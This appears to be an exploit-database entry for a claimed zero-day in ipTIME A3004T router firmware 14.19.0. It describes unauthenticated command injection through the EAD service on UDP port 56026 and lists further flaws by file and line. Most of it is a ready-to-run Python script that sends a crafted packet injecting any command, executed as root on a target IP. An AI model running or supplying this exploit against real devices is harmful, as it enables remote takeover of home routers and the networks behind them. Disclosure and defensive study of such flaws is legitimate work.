ipTIME A3004T - Remote Code Execution

# Exploit Title: ipTIME A3004T  - Remote Code Execution
# Date: 2026-06-29
# Exploit Author: Paccaron
# Vendor Homepage: https://www.iptime.com
# Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34
# Version: 14.19.0
# Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621)
# CVE: N/A (Zero-Day)

Description:
The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026
and does not filter source IP addresses. A remote attacker can send a
crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the
device with root privileges. The vulnerability exists in the handle_send_cmd()
function where user-controlled data is passed directly to system() without
any input sanitization.

Vulnerable File: /package/network/services/ead/src/ead.c
Vulnerable Functions: handle_send_cmd() (lines 473-580)
Vulnerable Lines: 512, 533

Attack Vectors:
1. Pre-auth RCE (Command Injection) - Lines 512, 533
2. Buffer Overflow - ead-client.c:245 (strcpy)
3. Format String - ead.c:952
4. Path Traversal - tinysrp/t_misc.c:143
5. Denial of Service - ead.c:716 (while loop)

import socket
import sys

def exploit(target_ip, command):
    """
    ipTIME A3004T EAD Service Pre-auth RCE
    Exploit by Paccaron
    Tested on firmware 14.19.0
    """

    port = 56026

    # EAD_TYPE_SEND_CMD = 0x0a (10)
    # Minimal packet structure
    payload = b"\x00\x00\x00\x0a"  # EAD_TYPE_SEND_CMD
    payload += b"\x00" * 60        # Padding
    payload += b";" + command.encode() + b"\x00"  # Command injection

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    try:
        sock.sendto(payload, (target_ip, port))
        print(f"[+] Command sent to {target_ip}:{port}")
        print(f"[+] Command: {command}")
        sock.close()
        return True
    except Exception as e:
        print(f"[-] Failed: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <TARGET_IP> <COMMAND>")
        print("Example: python exploit.py 192.168.1.1 id")
        sys.exit(1)

    target = sys.argv[1]
    cmd = sys.argv[2]
    exploit(target, cmd)